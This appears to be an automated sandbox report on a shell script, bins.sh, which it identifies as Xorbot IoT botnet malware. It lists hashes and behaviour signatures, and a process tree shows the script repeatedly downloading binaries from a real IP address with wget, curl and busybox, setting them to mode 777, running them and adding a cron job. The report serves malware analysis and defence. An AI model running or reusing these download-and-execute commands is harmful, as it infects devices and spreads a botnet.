Analysis

  • max time kernel
    150s
  • max time network
    109s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    30-11-2024 13:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    bdc09f065df19d01eba9a4e456122e8d

  • SHA1

    9fcc847628cf1d5bb42ccf9d101fd0fd0d7d6851

  • SHA256

    7a490d353198bd3e1da7874fea36e53461790e1cc7e6c5afc7761ae3a52f5344

  • SHA512

    db69ef10f1144570e4c47c9c27a2a82eda6f9dcbcfc488f40fb22cd295f50ce2cb29fdb9eaf50d7e52720e44323f700979ddd17843bc0a60e06092dcdfe5a0be

  • SSDEEP

    192:h0kQ6fDzSTBYBoBYBhB9B9dGBOhk2kQ6fDzGBYBoBYBhB9Bu:hAUGBOWy

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:699
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:703
        • /usr/bin/wget
          wget http://216.126.231.240/bins/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
          2⤵
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
          2⤵
          • Writes file to tmp directory
          PID:724
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
          2⤵
          • Writes file to tmp directory
          PID:731
        • /bin/chmod
          chmod 777 vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
          2⤵
          • File and Directory Permissions Modification
          PID:733
        • /tmp/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
          ./vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
          2⤵
          • Executes dropped EXE
          PID:734
        • /bin/rm
          rm vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
          2⤵
            PID:736
          • /usr/bin/wget
            wget http://216.126.231.240/bins/PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
            2⤵
            • Writes file to tmp directory
            PID:737
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:738
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
            2⤵
            • Writes file to tmp directory
            PID:739
          • /bin/chmod
            chmod 777 PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
            2⤵
            • File and Directory Permissions Modification
            PID:740
          • /tmp/PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
            ./PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
            2⤵
            • Executes dropped EXE
            PID:741
          • /bin/rm
            rm PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
            2⤵
              PID:743
            • /usr/bin/wget
              wget http://216.126.231.240/bins/tzTLp9eTUMsf0y8CBAKBmpOeuUVlVVYMoz
              2⤵
              • Writes file to tmp directory
              PID:744
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/tzTLp9eTUMsf0y8CBAKBmpOeuUVlVVYMoz
              2⤵
              • Writes file to tmp directory
              PID:745
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/tzTLp9eTUMsf0y8CBAKBmpOeuUVlVVYMoz
              2⤵
              • Writes file to tmp directory
              PID:746
            • /bin/chmod
              chmod 777 tzTLp9eTUMsf0y8CBAKBmpOeuUVlVVYMoz
              2⤵
              • File and Directory Permissions Modification
              PID:750
            • /tmp/tzTLp9eTUMsf0y8CBAKBmpOeuUVlVVYMoz
              ./tzTLp9eTUMsf0y8CBAKBmpOeuUVlVVYMoz
              2⤵
              • Executes dropped EXE
              PID:752
            • /bin/rm
              rm tzTLp9eTUMsf0y8CBAKBmpOeuUVlVVYMoz
              2⤵
                PID:755
              • /usr/bin/wget
                wget http://216.126.231.240/bins/fmwicVfjB09JYHBQP3ZPQTrsJ8Erogp62U
                2⤵
                • Writes file to tmp directory
                PID:756
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/fmwicVfjB09JYHBQP3ZPQTrsJ8Erogp62U
                2⤵
                • Writes file to tmp directory
                PID:764
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/fmwicVfjB09JYHBQP3ZPQTrsJ8Erogp62U
                2⤵
                • Writes file to tmp directory
                PID:776
              • /bin/chmod
                chmod 777 fmwicVfjB09JYHBQP3ZPQTrsJ8Erogp62U
                2⤵
                • File and Directory Permissions Modification
                PID:780
              • /tmp/fmwicVfjB09JYHBQP3ZPQTrsJ8Erogp62U
                ./fmwicVfjB09JYHBQP3ZPQTrsJ8Erogp62U
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:781
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:783
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                      • Reads runtime system information
                      PID:785
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:786
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:788
                  • /bin/rm
                    rm fmwicVfjB09JYHBQP3ZPQTrsJ8Erogp62U
                    2⤵
                      PID:791
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/xnKEknk7x0SutHvqCu8mQK4ziVG1HyifQH
                      2⤵
                        PID:795
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/xnKEknk7x0SutHvqCu8mQK4ziVG1HyifQH
                        2⤵
                          PID:797
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/xnKEknk7x0SutHvqCu8mQK4ziVG1HyifQH
                          2⤵
                          • Writes file to tmp directory
                          PID:801
                        • /bin/chmod
                          chmod 777 xnKEknk7x0SutHvqCu8mQK4ziVG1HyifQH
                          2⤵
                          • File and Directory Permissions Modification
                          PID:809
                        • /tmp/xnKEknk7x0SutHvqCu8mQK4ziVG1HyifQH
                          ./xnKEknk7x0SutHvqCu8mQK4ziVG1HyifQH
                          2⤵
                          • Executes dropped EXE
                          PID:810
                        • /bin/rm
                          rm xnKEknk7x0SutHvqCu8mQK4ziVG1HyifQH
                          2⤵
                            PID:812
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/dl2IuuKxfbQfsdYTB6L5nwq7onkzfHKZ4T
                            2⤵
                              PID:813
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/dl2IuuKxfbQfsdYTB6L5nwq7onkzfHKZ4T
                              2⤵
                                PID:815
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/dl2IuuKxfbQfsdYTB6L5nwq7onkzfHKZ4T
                                2⤵
                                • Writes file to tmp directory
                                PID:816
                              • /bin/chmod
                                chmod 777 dl2IuuKxfbQfsdYTB6L5nwq7onkzfHKZ4T
                                2⤵
                                • File and Directory Permissions Modification
                                PID:821
                              • /tmp/dl2IuuKxfbQfsdYTB6L5nwq7onkzfHKZ4T
                                ./dl2IuuKxfbQfsdYTB6L5nwq7onkzfHKZ4T
                                2⤵
                                • Executes dropped EXE
                                PID:822
                              • /bin/rm
                                rm dl2IuuKxfbQfsdYTB6L5nwq7onkzfHKZ4T
                                2⤵
                                  PID:825
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/Y4B8vZvDC114dRU0lCWOOssRYokSszgP2w
                                  2⤵
                                    PID:826
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/Y4B8vZvDC114dRU0lCWOOssRYokSszgP2w
                                    2⤵
                                      PID:827
                                    • /bin/busybox
                                      /bin/busybox wget http://216.126.231.240/bins/Y4B8vZvDC114dRU0lCWOOssRYokSszgP2w
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:828
                                    • /bin/chmod
                                      chmod 777 Y4B8vZvDC114dRU0lCWOOssRYokSszgP2w
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:829
                                    • /tmp/Y4B8vZvDC114dRU0lCWOOssRYokSszgP2w
                                      ./Y4B8vZvDC114dRU0lCWOOssRYokSszgP2w
                                      2⤵
                                      • Executes dropped EXE
                                      PID:830
                                    • /bin/rm
                                      rm Y4B8vZvDC114dRU0lCWOOssRYokSszgP2w
                                      2⤵
                                        PID:832
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/2iEHTHfWgcbTAGhqpPi4ZAfyrC48gfik5Y
                                        2⤵
                                          PID:833
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/2iEHTHfWgcbTAGhqpPi4ZAfyrC48gfik5Y
                                          2⤵
                                            PID:834
                                          • /bin/busybox
                                            /bin/busybox wget http://216.126.231.240/bins/2iEHTHfWgcbTAGhqpPi4ZAfyrC48gfik5Y
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:835
                                          • /bin/chmod
                                            chmod 777 2iEHTHfWgcbTAGhqpPi4ZAfyrC48gfik5Y
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:836
                                          • /tmp/2iEHTHfWgcbTAGhqpPi4ZAfyrC48gfik5Y
                                            ./2iEHTHfWgcbTAGhqpPi4ZAfyrC48gfik5Y
                                            2⤵
                                            • Executes dropped EXE
                                            PID:837
                                          • /bin/rm
                                            rm 2iEHTHfWgcbTAGhqpPi4ZAfyrC48gfik5Y
                                            2⤵
                                              PID:839
                                            • /usr/bin/wget
                                              wget http://216.126.231.240/bins/26nN9Y74zwEDlNXb5jsn18Q9XS1yhX1CEF
                                              2⤵
                                                PID:840
                                              • /usr/bin/curl
                                                curl -O http://216.126.231.240/bins/26nN9Y74zwEDlNXb5jsn18Q9XS1yhX1CEF
                                                2⤵
                                                  PID:841

                                              Network

                                              MITRE ATT&CK Enterprise v15

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              • /tmp/2iEHTHfWgcbTAGhqpPi4ZAfyrC48gfik5Y

                                                Filesize

                                                122KB

                                                MD5

                                                cd3d4b9c643e5b473fb4d88ed05f0716

                                                SHA1

                                                64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                SHA256

                                                0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                SHA512

                                                164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                              • /tmp/PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj

                                                Filesize

                                                112KB

                                                MD5

                                                05d7857dcead18bbd86d2935f591873c

                                                SHA1

                                                34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                SHA256

                                                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                SHA512

                                                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                              • /tmp/Y4B8vZvDC114dRU0lCWOOssRYokSszgP2w

                                                Filesize

                                                111KB

                                                MD5

                                                ca897a38f23ec23521ce0b1b83f8422d

                                                SHA1

                                                b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                SHA256

                                                043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                SHA512

                                                10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                              • /tmp/dl2IuuKxfbQfsdYTB6L5nwq7onkzfHKZ4T

                                                Filesize

                                                111KB

                                                MD5

                                                701e7a55a4f3650f5feee92a9860e5fc

                                                SHA1

                                                6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                SHA256

                                                ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                SHA512

                                                7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                              • /tmp/fmwicVfjB09JYHBQP3ZPQTrsJ8Erogp62U

                                                Filesize

                                                151KB

                                                MD5

                                                3c90d5820bddcf7c5d1bd21dfa49d958

                                                SHA1

                                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                SHA256

                                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                SHA512

                                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                              • /tmp/tzTLp9eTUMsf0y8CBAKBmpOeuUVlVVYMoz

                                                Filesize

                                                119KB

                                                MD5

                                                1b166b95f9cb4b079ef1b9ec8363ddf3

                                                SHA1

                                                0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                SHA256

                                                94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                SHA512

                                                983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                              • /tmp/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq

                                                Filesize

                                                117KB

                                                MD5

                                                849fa04ef88a8e8de32cb2e8538de5fe

                                                SHA1

                                                c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                SHA256

                                                8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                SHA512

                                                2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                              • /tmp/xnKEknk7x0SutHvqCu8mQK4ziVG1HyifQH

                                                Filesize

                                                151KB

                                                MD5

                                                6c583043d91c55aa470c08c87058e917

                                                SHA1

                                                abf65a5b9bba69980278ad09356e53de8bb89439

                                                SHA256

                                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                SHA512

                                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                              • /var/spool/cron/crontabs/tmp.AyfIJv

                                                Filesize

                                                210B

                                                MD5

                                                881b0ec9d9af2e99675b54a297e34231

                                                SHA1

                                                3710a32388d9318a6fc3586051fac040b4433fb8

                                                SHA256

                                                165522bb1ddec80223d88dfb9f4b4f116c6e25713994865115a23f6269f52d35

                                                SHA512

                                                bd036f75efa17ad88b19311a2a43e4a7b9b80ea744c84f3cbe84611132b45f09226606c5e7169c4380460ed0eaa84256da5657713f86c06e1a5e411cbcc9a21a